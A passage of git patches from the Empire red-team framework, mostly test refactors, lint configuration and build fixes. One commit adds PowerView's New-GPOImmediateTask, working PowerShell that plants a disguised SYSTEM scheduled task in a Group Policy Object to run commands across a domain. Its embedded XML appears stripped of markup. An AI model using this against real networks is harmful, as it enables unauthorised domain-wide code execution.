resp.status_code == status.HTTP_204_NO_CONTENT def _test_delete_tag(client, admin_auth_header, path, taggable_id): @@ -174,16 +176,16 @@ def _test_delete_tag(client, admin_auth_header, path, taggable_id): json={"name": "test_tag", "value": "test_value"}, ) - assert resp.status_code == 201 + assert resp.status_code == status.HTTP_201_CREATED resp = client.delete( f"{path}/{taggable_id}/tags/{resp.json()['id']}", headers=admin_auth_header, ) - assert resp.status_code == 204 + assert resp.status_code == status.HTTP_204_NO_CONTENT resp = client.get(f"{path}/{taggable_id}", headers=admin_auth_header) - assert resp.status_code == 200 + assert resp.status_code == status.HTTP_200_OK assert resp.json()["tags"] == [] @@ -324,7 +326,7 @@ def _create_tags( headers=admin_auth_header, json={"name": f"test_tag_{taggable[1]}", "value": "test_value"}, ) - assert resp.status_code == 201 + assert resp.status_code == status.HTTP_201_CREATED res = resp.json() cleanup.append(f"{taggable[1]}/{taggable_id}/tags/{res['id']}") @@ -335,13 +337,13 @@ def _create_tags( for tag in cleanup: resp = client.delete(tag, headers=admin_auth_header) - assert resp.status_code == 204 + assert resp.status_code == status.HTTP_204_NO_CONTENT def test_get_tags(client, admin_auth_header, _create_tags): expected_tags = _create_tags resp = client.get("/api/v2/tags?order_by=name", headers=admin_auth_header) - assert resp.status_code == 200 + assert resp.status_code == status.HTTP_200_OK actual_tags = resp.json()["records"] for tag in actual_tags: @@ -367,7 +369,7 @@ def _create_agent_tasks_with_tags( headers=admin_auth_header, json={"command": f"whoami_{i}"}, ) - assert resp.status_code == 201 + assert resp.status_code == status.HTTP_201_CREATED agent_tasks.append(resp.json()) for i, agent_task in enumerate(agent_tasks): @@ -376,7 +378,7 @@ def _create_agent_tasks_with_tags( headers=admin_auth_header, json={"name": f"test_tag_{i}", "value": f"test_value_{i}"}, ) - assert resp.status_code == 201 + assert resp.status_code == status.HTTP_201_CREATED tags.append((agent_task, resp.json())) yield agent_tasks @@ -386,14 +388,14 @@ def _create_agent_tasks_with_tags( f"/api/v2/agents/{agent_id}/tasks/{task['id']}/tags/{tag['id']}", headers=admin_auth_header, ) - assert resp.status_code == 204 + assert resp.status_code == status.HTTP_204_NO_CONTENT for agent_task in agent_tasks: resp = client.delete( f"/api/v2/agents/{agent_id}/tasks/{agent_task['id']}", headers=admin_auth_header, ) - assert resp.status_code == 204 + assert resp.status_code == status.HTTP_204_NO_CONTENT def test_get_agent_tasks_tag_filter( @@ -401,15 +403,16 @@ def test_get_agent_tasks_tag_filter( ): resp = client.get(f"/api/v2/agents/{agent}/tasks", headers=admin_auth_header) - assert resp.status_code == 200 - assert len(resp.json()["records"]) == 3 + task_count = 3 + assert resp.status_code == status.HTTP_200_OK + assert len(resp.json()["records"]) == task_count resp = client.get( f"/api/v2/agents/{agent}/tasks?tags=test_tag_0:test_value_0", headers=admin_auth_header, ) - assert resp.status_code == 200 + assert resp.status_code == status.HTTP_200_OK assert len(resp.json()["records"]) == 1 assert resp.json()["records"][0]["input"] == "whoami_0" assert resp.json()["records"][0]["tags"][0]["name"] == "test_tag_0" @@ -419,8 +422,9 @@ def test_get_agent_tasks_tag_filter( headers=admin_auth_header, ) - assert resp.status_code == 200 - assert len(resp.json()["records"]) == 2 + task_count = 2 + assert resp.status_code == status.HTTP_200_OK + assert len(resp.json()["records"]) == task_count assert resp.json()["records"][1]["input"] == "whoami_0" assert resp.json()["records"][1]["tags"][0]["name"] == "test_tag_0" assert resp.json()["records"][0]["input"] == "whoami_1" @@ -431,7 +435,7 @@ def test_get_agent_tasks_tag_filter( f"/api/v2/agents/{agent}/tasks?tags=test_tag_0", headers=admin_auth_header ) - assert resp.status_code == 422 + assert resp.status_code == status.HTTP_422_UNPROCESSABLE_ENTITY assert ( resp.json()["detail"][0]["msg"] == "String should match pattern '^[^:]+:[^:]+$'" ) @@ -462,7 +466,7 @@ def _create_plugin_tasks_with_tags( headers=admin_auth_header, json={"name": f"test_tag_{i}", "value": f"test_value_{i}"}, ) - assert resp.status_code == 201 + assert resp.status_code == status.HTTP_201_CREATED tags.append((plugin_task, resp.json())) yield plugin_tasks @@ -472,7 +476,7 @@ def _create_plugin_tasks_with_tags( f"/api/v2/plugins/{plugin_name}/tasks/{task['id']}/tags/{tag['id']}", headers=admin_auth_header, ) - assert resp.status_code == 204 + assert resp.status_code == status.HTTP_204_NO_CONTENT with session_local.begin() as db: db.query(models.PluginTask).delete() @@ -483,15 +487,16 @@ def test_get_plugin_tasks_tag_filter( ): resp = client.get(f"/api/v2/plugins/{plugin_name}/tasks", headers=admin_auth_header) - assert resp.status_code == 200 - assert len(resp.json()["records"]) == 3 + task_count = 3 + assert resp.status_code == status.HTTP_200_OK + assert len(resp.json()["records"]) == task_count resp = client.get( f"/api/v2/plugins/{plugin_name}/tasks?tags=test_tag_0:test_value_0", headers=admin_auth_header, ) - assert resp.status_code == 200 + assert resp.status_code == status.HTTP_200_OK assert len(resp.json()["records"]) == 1 assert resp.json()["records"][0]["input"] == "input 0" assert resp.json()["records"][0]["tags"][0]["name"] == "test_tag_0" @@ -501,8 +506,9 @@ def test_get_plugin_tasks_tag_filter( headers=admin_auth_header, ) - assert resp.status_code == 200 - assert len(resp.json()["records"]) == 2 + task_count = 2 + assert resp.status_code == status.HTTP_200_OK + assert len(resp.json()["records"]) == task_count assert resp.json()["records"][1]["input"] == "input 0" assert resp.json()["records"][1]["tags"][0]["name"] == "test_tag_0" assert resp.json()["records"][0]["input"] == "input 1" @@ -514,7 +520,7 @@ def test_get_plugin_tasks_tag_filter( headers=admin_auth_header, ) - assert resp.status_code == 422 + assert resp.status_code == status.HTTP_422_UNPROCESSABLE_ENTITY assert ( resp.json()["detail"][0]["msg"] == "String should match pattern '^[^:]+:[^:]+$'" ) @@ -545,7 +551,7 @@ def _create_downloads_with_tags(models, session_local, client, admin_auth_header headers=admin_auth_header, json={"name": f"test_tag_{i}", "value": f"test_value_{i}"}, ) - assert resp.status_code == 201 + assert resp.status_code == status.HTTP_201_CREATED tags.append(resp.json()) yield downloads @@ -555,7 +561,7 @@ def _create_downloads_with_tags(models, session_local, client, admin_auth_header f"/api/v2/downloads/{downloads[0]['id']}/tags/{tag['id']}", headers=admin_auth_header, ) - assert resp.status_code == 204 + assert resp.status_code == status.HTTP_204_NO_CONTENT with session_local.begin() as db: db.query(models.download_tag_assc).delete() @@ -567,17 +573,18 @@ def test_get_downloads_tag_filter( ): resp = client.get("/api/v2/downloads/", headers=admin_auth_header) - assert resp.status_code == 200 - - assert len(resp.json()["records"]) == 3 + download_count = 3 + assert resp.status_code == status.HTTP_200_OK + assert len(resp.json()["records"]) == download_count resp = client.get( "/api/v2/downloads?tags=test_tag_0:test_value_0", headers=admin_auth_header, ) - assert resp.status_code == 200 - assert len(resp.json()["records"]) == 1 + tag_count = 1 + assert resp.status_code == status.HTTP_200_OK + assert len(resp.json()["records"]) == tag_count assert resp.json()["records"][0]["location"] == "path/0" assert resp.json()["records"][0]["tags"][0]["name"] == "test_tag_0" @@ -586,8 +593,9 @@ def test_get_downloads_tag_filter( headers=admin_auth_header, ) - assert resp.status_code == 200 - assert len(resp.json()["records"]) == 2 + download_count = 2 + assert resp.status_code == status.HTTP_200_OK + assert len(resp.json()["records"]) == download_count record_0 = next(filter(lambda x: x["location"] == "path/0", resp.json()["records"])) record_1 = next(filter(lambda x: x["location"] == "path/1", resp.json()["records"])) @@ -603,7 +611,7 @@ def test_get_downloads_tag_filter( # Test tag value bad resp = client.get("/api/v2/downloads?tags=test_tag_0", headers=admin_auth_header) - assert resp.status_code == 422 + assert resp.status_code == status.HTTP_422_UNPROCESSABLE_ENTITY assert ( resp.json()["detail"][0]["msg"] == "String should match pattern '^[^:]+:[^:]+$'" ) diff --git a/empire/test/test_user_api.py b/empire/test/test_user_api.py index 2700b392b..b493c5a9f 100644 --- a/empire/test/test_user_api.py +++ b/empire/test/test_user_api.py @@ -1,5 +1,7 @@ from pathlib import Path +from starlette import status + def test_create_user(client, admin_auth_header): response = client.post( @@ -8,7 +10,7 @@ def test_create_user(client, admin_auth_header): json={"username": "another-user", "password": "hunter2", "is_admin": False}, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["username"] == "another-user" @@ -19,7 +21,7 @@ def test_create_user_name_conflict(client, admin_auth_header): json={"username": "empireadmin", "password": "password", "is_admin": False}, ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert response.json()["detail"] == "A user with name empireadmin already exists." @@ -30,21 +32,21 @@ def test_create_user_not_an_admin(client, regular_auth_token): json={"username": "vinnybod2", "password": "hunter2", "admin": False}, ) - assert response.status_code == 403 + assert response.status_code == status.HTTP_403_FORBIDDEN assert response.json()["detail"] == "Not an admin user" def test_get_user_not_found(client, admin_auth_header): response = client.get("/api/v2/users/9999", headers=admin_auth_header) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "User not found for id 9999" def test_get_user(client, admin_auth_header): response = client.get("/api/v2/users/1", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["id"] == 1 assert response.json()["username"] == "empireadmin" @@ -55,7 +57,7 @@ def test_get_me(client, regular_auth_token): headers={"Authorization": f"Bearer {regular_auth_token}"}, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["username"] == "vinnybod" @@ -66,19 +68,20 @@ def test_update_user_not_found(client, admin_auth_header): json={"username": "not-gonna-happen", "enabled": False, "is_admin": False}, ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "User not found for id 9999" def test_update_user_as_admin(client, admin_auth_header): + user_id = 2 response = client.put( - "/api/v2/users/2", + f"/api/v2/users/{user_id}", headers=admin_auth_header, json={"username": "empireadmin-2.0", "enabled": True, "is_admin": False}, ) - assert response.status_code == 200 - assert response.json()["id"] == 2 + assert response.status_code == status.HTTP_200_OK + assert response.json()["id"] == user_id assert response.json()["username"] == "empireadmin-2.0" @@ -89,7 +92,7 @@ def test_update_user_as_not_admin_not_me(client, regular_auth_token): json={"username": "regular-user", "enabled": True, "is_admin": False}, ) - assert response.status_code == 403 + assert response.status_code == status.HTTP_403_FORBIDDEN assert ( response.json()["detail"] == "User does not have access to update this resource." @@ -103,7 +106,7 @@ def test_update_user_as_not_admin_me(client, regular_auth_token): json={"username": "xyz", "enabled": True, "is_admin": True}, ) - assert response.status_code == 403 + assert response.status_code == status.HTTP_403_FORBIDDEN assert ( response.json()["detail"] == "User does not have access to update admin status." ) @@ -116,7 +119,7 @@ def test_update_user_password_not_me(client, regular_auth_token): json={"password": "QWERTY"}, ) - assert response.status_code == 403 + assert response.status_code == status.HTTP_403_FORBIDDEN assert ( response.json()["detail"] == "User does not have access to update this resource." @@ -140,7 +143,7 @@ def test_update_user_password(client): json={"password": "QWERTY"}, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK response = client.post( "/token", @@ -152,7 +155,7 @@ def test_update_user_password(client): }, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK def test_upload_user_avatar_not_me(client, regular_auth_token): @@ -167,7 +170,7 @@ def test_upload_user_avatar_not_me(client, regular_auth_token): }, ) - assert response.status_code == 403 + assert response.status_code == status.HTTP_403_FORBIDDEN assert ( response.json()["detail"] == "User does not have access to update this resource." @@ -186,7 +189,7 @@ def test_upload_user_avatar_not_image(client, admin_auth_header): }, ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert response.json()["detail"] == "File must be an image." @@ -202,11 +205,11 @@ def test_upload_user_avatar(client, admin_auth_header): }, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED response = client.get("/api/v2/users/1", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK avatar = response.json()["avatar"] first_avatar_id = avatar["id"] @@ -226,11 +229,11 @@ def test_upload_user_avatar(client, admin_auth_header): }, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED response = client.get("/api/v2/users/1", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK avatar = response.json()["avatar"] assert avatar["id"] != first_avatar_id diff --git a/empire/test/test_zz_reset.py b/empire/test/test_zz_reset.py index f664ecf41..d74ea166c 100644 --- a/empire/test/test_zz_reset.py +++ b/empire/test/test_zz_reset.py @@ -169,7 +169,7 @@ def test_reset_client(monkeypatch, tmp_path, default_argv, client_config_dict): ).exists() import empire.arguments - import empire.client.client as client + from empire.client import client reload(empire.arguments) from empire.arguments import args diff --git a/pyproject.toml b/pyproject.toml index 48798d0a4..3dc2bd52c 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -113,15 +113,41 @@ select = [ "F", # pyflakes "I", # isort "UP", # pyupgrade + "RUF", # ruff "B", # flake8-bugbear "C4", # flake8-comprehensions - "RUF", # ruff "SIM", # flake8-simplify + "PLC", # pylint-convention + "PLE", # pylint-error + "PLW", # pylint-warning + "PLR", # pylint-refactor ] [tool.ruff.lint.flake8-bugbear] extend-immutable-calls = ["fastapi.Depends", "fastapi.params.Depends", "fastapi.Query", "fastapi.params.Query", "fastapi.File"] +[tool.ruff.lint.per-file-ignores] +# client doesn't have tests and is not being actively developed, +# so I don't want to spend time on code quality and unintentionally +# breaking things. +"empire/client/*" = ["PLW", "PLR"] + +# Each individual stager, listener, and module lacks tests, so it is not worth the +# risk to manually refactor them until there are tests in place for them. +"empire/server/listeners/*" = ["PLR0911", "PLR0912", "PLR0913", "PLR0915", "PLR2004", "PLW2901"] +"empire/server/stagers/*" = ["PLR0911", "PLR0912", "PLR0915"] +"empire/server/modules/*" = ["PLR0911", "PLR0912", "PLR0913", "PLR0915"] + +# It's hard to limit arguments on the endpoint functions. +"empire/server/api/*" = ["PLR0913"] + +# Can't control how many fixtures are needed for the tests. +"empire/test/*" = ["PLR0913"] +"empire/server/modules/powershell/persistence/elevated/schtasks.py" = ["PLR2004"] +"empire/server/modules/powershell/persistence/elevated/wmi.py" = ["PLR2004"] +"empire/server/modules/powershell/persistence/elevated/wmi_updater.py" = ["PLR2004"] +"empire/server/plugins/reverseshell_stager_server/reverseshell_stager_server.py" = ["PLR2004"] + [tool.coverage.run] omit = [ "empire/server/data/*", From 1e471b0e071bd0934ce7ef8851fb41e372f31b58 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Mon, 8 Jul 2024 00:23:52 -0400 Subject: [PATCH 11/26] Fixed issue where NET45 was missing a compiled folder (#843) * Fixed issue where NET45 was missing a compiled folder * fixed formatting * this formatting shit sucks --- CHANGELOG.md | 2 ++ empire/server/common/stagers.py | 2 +- .../Covenant/Data/Tasks/CSharp/Compiled/net45/.gitignore | 2 ++ empire/server/server.py | 1 + empire/test/test_zz_reset.py | 3 +++ 5 files changed, 9 insertions(+), 1 deletion(-) create mode 100644 empire/server/csharp/Covenant/Data/Tasks/CSharp/Compiled/net45/.gitignore diff --git a/CHANGELOG.md b/CHANGELOG.md index fd2a08f91..ab7828eeb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -22,6 +22,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed - Fixed issue in python agents where background jobs were failed due to a missing character (Cx01N) +- Fixed NET45 missing folder causing a compilation error (Cx01N) +- Fixed NET45 files not being removed on server reset (Cx01N) ### Changed - Converted C# server plugin to use plugin taskings (@Cx01N) diff --git a/empire/server/common/stagers.py b/empire/server/common/stagers.py index 07fe580f3..9ec7facb3 100755 --- a/empire/server/common/stagers.py +++ b/empire/server/common/stagers.py @@ -407,7 +407,7 @@ def generate_dylib(self, launcherCode, arch, hijacker): # noqa: PLR0912 else: log.error("Unable to patch dylib") - def generate_appbundle( # noqa: PLR0915 PLR0912 PLR0913 + def generate_appbundle( # noqa: PLR0915, PLR0913, PLR0912 self, launcherCode, Arch, icon, AppName, disarm ): """ diff --git a/empire/server/csharp/Covenant/Data/Tasks/CSharp/Compiled/net45/.gitignore b/empire/server/csharp/Covenant/Data/Tasks/CSharp/Compiled/net45/.gitignore new file mode 100644 index 000000000..d6b7ef32c --- /dev/null +++ b/empire/server/csharp/Covenant/Data/Tasks/CSharp/Compiled/net45/.gitignore @@ -0,0 +1,2 @@ +* +!.gitignore diff --git a/empire/server/server.py b/empire/server/server.py index 748717ba0..bfeb69cd2 100755 --- a/empire/server/server.py +++ b/empire/server/server.py @@ -86,6 +86,7 @@ def reset(): file_util.remove_dir_contents(f"{CSHARP_DIR_BASE}/Data/Tasks/CSharp/Compiled/net35") file_util.remove_dir_contents(f"{CSHARP_DIR_BASE}/Data/Tasks/CSharp/Compiled/net40") + file_util.remove_dir_contents(f"{CSHARP_DIR_BASE}/Data/Tasks/CSharp/Compiled/net45") file_util.remove_dir_contents( f"{CSHARP_DIR_BASE}/Data/Tasks/CSharp/Compiled/netcoreapp3.0" ) diff --git a/empire/test/test_zz_reset.py b/empire/test/test_zz_reset.py index d74ea166c..a3c7dbfe1 100644 --- a/empire/test/test_zz_reset.py +++ b/empire/test/test_zz_reset.py @@ -79,6 +79,7 @@ def test_reset_server(monkeypatch, tmp_path, default_argv, server_config_dict): write_to_file(csharp_dir / "obj" / f[0], f[1]) write_to_file(csharp_dir / "Data/Tasks/CSharp/Compiled/net35" / f[0], f[1]) write_to_file(csharp_dir / "Data/Tasks/CSharp/Compiled/net40" / f[0], f[1]) + write_to_file(csharp_dir / "Data/Tasks/CSharp/Compiled/net45" / f[0], f[1]) write_to_file( csharp_dir / "Data/Tasks/CSharp/Compiled/netcoreapp3.0" / f[0], f[1], @@ -89,6 +90,7 @@ def test_reset_server(monkeypatch, tmp_path, default_argv, server_config_dict): assert Path(csharp_dir / "obj" / f[0]).exists() assert Path(csharp_dir / "Data/Tasks/CSharp/Compiled/net35" / f[0]).exists() assert Path(csharp_dir / "Data/Tasks/CSharp/Compiled/net40" / f[0]).exists() + assert Path(csharp_dir / "Data/Tasks/CSharp/Compiled/net45" / f[0]).exists() assert Path( csharp_dir / "Data/Tasks/CSharp/Compiled/netcoreapp3.0" / f[0] ).exists() @@ -119,6 +121,7 @@ def test_reset_server(monkeypatch, tmp_path, default_argv, server_config_dict): assert not Path(csharp_dir / "obj" / f[0]).exists() assert not Path(csharp_dir / "Data/Tasks/CSharp/Compiled/net35" / f[0]).exists() assert not Path(csharp_dir / "Data/Tasks/CSharp/Compiled/net40" / f[0]).exists() + assert not Path(csharp_dir / "Data/Tasks/CSharp/Compiled/net45" / f[0]).exists() assert not Path( csharp_dir / "Data/Tasks/CSharp/Compiled/netcoreapp3.0" / f[0] ).exists() From a564cb874548cb6bec44359300e3b9eb8052796e Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Mon, 8 Jul 2024 00:47:47 -0400 Subject: [PATCH 12/26] fixed New-GPOImmediateTask missing from powerview (#846) --- CHANGELOG.md | 9 +- .../network/powerview.ps1 | 216 ++++++++++++++++++ 2 files changed, 222 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index ab7828eeb..263a4aa8c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -21,9 +21,12 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Added Invoke-BSOD modules (@Cx01N) ### Fixed -- Fixed issue in python agents where background jobs were failed due to a missing character (Cx01N) -- Fixed NET45 missing folder causing a compilation error (Cx01N) -- Fixed NET45 files not being removed on server reset (Cx01N) +- Fixed issue in python agents where background jobs were failed due to a missing character (@Cx01N) +- Fixed missing New-GPOImmediateTask in powerview (@Cx01N) +- Fixed issue in python agents where background jobs were failed due to a missing character (@Cx01N) +- Fixed NET45 missing folder causing a compilation error (@Cx01N) +- Fixed NET45 files not being removed on server reset (@Cx01N) + ### Changed - Converted C# server plugin to use plugin taskings (@Cx01N) diff --git a/empire/server/data/module_source/situational_awareness/network/powerview.ps1 b/empire/server/data/module_source/situational_awareness/network/powerview.ps1 index 9da65c809..d15de1dc2 100644 --- a/empire/server/data/module_source/situational_awareness/network/powerview.ps1 +++ b/empire/server/data/module_source/situational_awareness/network/powerview.ps1 @@ -16641,6 +16641,222 @@ A PSCustomObject containing the ComputerName and cached RDP information. } } +function New-GPOImmediateTask { +<# + .SYNOPSIS + + Builds an 'Immediate' schtask to push out through a specified GPO. + + .PARAMETER TaskName + + Name for the schtask to recreate. Required. + + .PARAMETER Command + + The command to execute with the task, defaults to 'powershell' + + .PARAMETER CommandArguments + + The arguments to supply to the -Command being launched. + + .PARAMETER TaskDescription + + An optional description for the task. + + .PARAMETER TaskAuthor + + The displayed author of the task, defaults to ''NT AUTHORITY\System' + + .PARAMETER TaskModifiedDate + + The displayed modified date for the task, defaults to 30 days ago. + + .PARAMETER GPOname + + The GPO name to build the task for. + + .PARAMETER GPODisplayName + + The GPO display name to build the task for. + + .PARAMETER Domain + + The domain to query for the GPOs, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through + e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target. + + .EXAMPLE + + PS> New-GPOImmediateTask -TaskName Debugging -GPODisplayName SecurePolicy -CommandArguments '-c "123 | Out-File C:\Temp\debug.txt"' -Force + + Create an immediate schtask that executes the specified PowerShell arguments and + push it out to the 'SecurePolicy' GPO, skipping the confirmation prompt. + + .EXAMPLE + + PS> New-GPOImmediateTask -GPODisplayName SecurePolicy -Remove -Force + + Remove all schtasks from the 'SecurePolicy' GPO, skipping the confirmation prompt. +#> + [CmdletBinding(DefaultParameterSetName = 'Create')] + Param ( + [Parameter(ParameterSetName = 'Create', Mandatory = $True)] + [String] + [ValidateNotNullOrEmpty()] + $TaskName, + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $Command = 'powershell', + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $CommandArguments, + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $TaskDescription = '', + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $TaskAuthor = 'NT AUTHORITY\System', + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $TaskModifiedDate = (Get-Date (Get-Date).AddDays(-30) -Format u).trim("Z"), + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $GPOname, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $GPODisplayName, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $Domain, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $DomainController, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $ADSpath, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [Switch] + $Force, + + [Parameter(ParameterSetName = 'Remove')] + [Switch] + $Remove, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [Management.Automation.PSCredential] + $Credential + ) + + # build the XML spec for our 'immediate' scheduled task + $TaskXML = ''+$TaskAuthor+''+$TaskDescription+'NT AUTHORITY\SystemHighestAvailableS4UPT10MPT1HtruefalseIgnoreNewfalsetruefalsetruefalsetruetruePT0S7PT0SPT15M3'+$Command+''+$CommandArguments+'%LocalTimeXmlEx%%LocalTimeXmlEx%true' + + if (!$PSBoundParameters['GPOname'] -and !$PSBoundParameters['GPODisplayName']) { + Write-Warning 'Either -GPOName or -GPODisplayName must be specified' + return + } + + # eunmerate the specified GPO(s) + $GPOs = Get-NetGPO -GPOname $GPOname -DisplayName $GPODisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -Credential $Credential + + if(!$GPOs) { + Write-Warning 'No GPO found.' + return + } + + $GPOs | ForEach-Object { + $ProcessedGPOName = $_.Name + try { + Write-Verbose "Trying to weaponize GPO: $ProcessedGPOName" + + # map a network drive as New-PSDrive/New-Item/etc. don't accept -Credential properly :( + if($Credential) { + Write-Verbose "Mapping '$($_.gpcfilesyspath)' to network drive N:\" + $Path = $_.gpcfilesyspath.TrimEnd('\') + $Net = New-Object -ComObject WScript.Network + $Net.MapNetworkDrive("N:", $Path, $False, $Credential.UserName, $Credential.GetNetworkCredential().Password) + $TaskPath = "N:\Machine\Preferences\ScheduledTasks\" + } + else { + $TaskPath = $_.gpcfilesyspath + "\Machine\Preferences\ScheduledTasks\" + } + + if($Remove) { + if(!(Test-Path "$TaskPath\ScheduledTasks.xml")) { + Throw "Scheduled task doesn't exist at $TaskPath\ScheduledTasks.xml" + } + + if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Removing schtask at $TaskPath\ScheduledTasks.xml")) { + return + } + + Remove-Item -Path "$TaskPath\ScheduledTasks.xml" -Force + } + else { + if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Creating schtask at $TaskPath\ScheduledTasks.xml")) { + return + } + + # create the folder if it doesn't exist + $Null = New-Item -ItemType Directory -Force -Path $TaskPath + + if(Test-Path "$TaskPath\ScheduledTasks.xml") { + Throw "Scheduled task already exists at $TaskPath\ScheduledTasks.xml !" + } + + $TaskXML | Set-Content -Encoding ASCII -Path "$TaskPath\ScheduledTasks.xml" + } + + if($Credential) { + Write-Verbose "Removing mounted drive at N:\" + $Net = New-Object -ComObject WScript.Network + $Net.RemoveNetworkDrive("N:") + } + } + catch { + Write-Warning "Error for GPO $ProcessedGPOName : $_" + if($Credential) { + Write-Verbose "Removing mounted drive at N:\" + $Net = New-Object -ComObject WScript.Network + $Net.RemoveNetworkDrive("N:") + } + } + } +} function Get-WMIRegMountedDrive { <# From cc460329aad84dbe7223c6d2d8bb996921d5db9c Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 9 Jul 2024 11:03:07 -0700 Subject: [PATCH 13/26] Bump MishaKav/pytest-coverage-comment from 1.1.51 to 1.1.52 (#841) --- .github/workflows/lint-and-test.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/lint-and-test.yml b/.github/workflows/lint-and-test.yml index 88931d2a8..36d28162d 100644 --- a/.github/workflows/lint-and-test.yml +++ b/.github/workflows/lint-and-test.yml @@ -85,7 +85,7 @@ jobs: DATABASE_USE=sqlite poetry run pytest . -v --runslow - name: Pytest coverage comment if: ${{ matrix.python-version == '3.12' }} - uses: MishaKav/pytest-coverage-comment@v1.1.51 + uses: MishaKav/pytest-coverage-comment@v1.1.52 with: pytest-coverage-path: ./pytest-coverage.txt junitxml-path: ./pytest.xml From 60a09ad88650da93b91d69921892992b66800345 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 9 Jul 2024 22:45:21 -0700 Subject: [PATCH 14/26] Bump tj-actions/changed-files from 44.5.4 to 44.5.5 (#840) Bumps [tj-actions/changed-files](https://github.com/tj-actions/changed-files) from 44.5.4 to 44.5.5. - [Release notes](https://github.com/tj-actions/changed-files/releases) - [Changelog](https://github.com/tj-actions/changed-files/blob/main/HISTORY.md) - [Commits](https://github.com/tj-actions/changed-files/compare/v44.5.4...v44.5.5) --- updated-dependencies: - dependency-name: tj-actions/changed-files dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- .github/workflows/lint-and-test.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/lint-and-test.yml b/.github/workflows/lint-and-test.yml index 36d28162d..d6ee75f5b 100644 --- a/.github/workflows/lint-and-test.yml +++ b/.github/workflows/lint-and-test.yml @@ -139,7 +139,7 @@ jobs: # To save CI time, only run these tests when the install script or deps changed - name: Get changed files using defaults id: changed-files - uses: tj-actions/changed-files@v44.5.4 + uses: tj-actions/changed-files@v44.5.5 - name: Build images if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') run: docker compose -f .github/install_tests/docker-compose-install-tests.yml build --parallel ${{ join(matrix.images, ' ') }} From 9e57905f819b1cc27ed67ee8da9277b33ff50cc0 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Thu, 11 Jul 2024 15:41:43 -0400 Subject: [PATCH 15/26] Added task bundling for the C# server plugin (#844) * added task bundling for the c# server plugin * fixed formatting --- CHANGELOG.md | 3 +- .../plugins/csharpserver/csharpserver.py | 34 ++++++++++--------- 2 files changed, 20 insertions(+), 17 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 263a4aa8c..cb235627c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -22,12 +22,13 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed - Fixed issue in python agents where background jobs were failed due to a missing character (@Cx01N) +- Fixed task bundling for the c# server plugin (@Cx01N) +- Fixed issue in python agents where background jobs were failed due to a missing character (@Cx01N) - Fixed missing New-GPOImmediateTask in powerview (@Cx01N) - Fixed issue in python agents where background jobs were failed due to a missing character (@Cx01N) - Fixed NET45 missing folder causing a compilation error (@Cx01N) - Fixed NET45 files not being removed on server 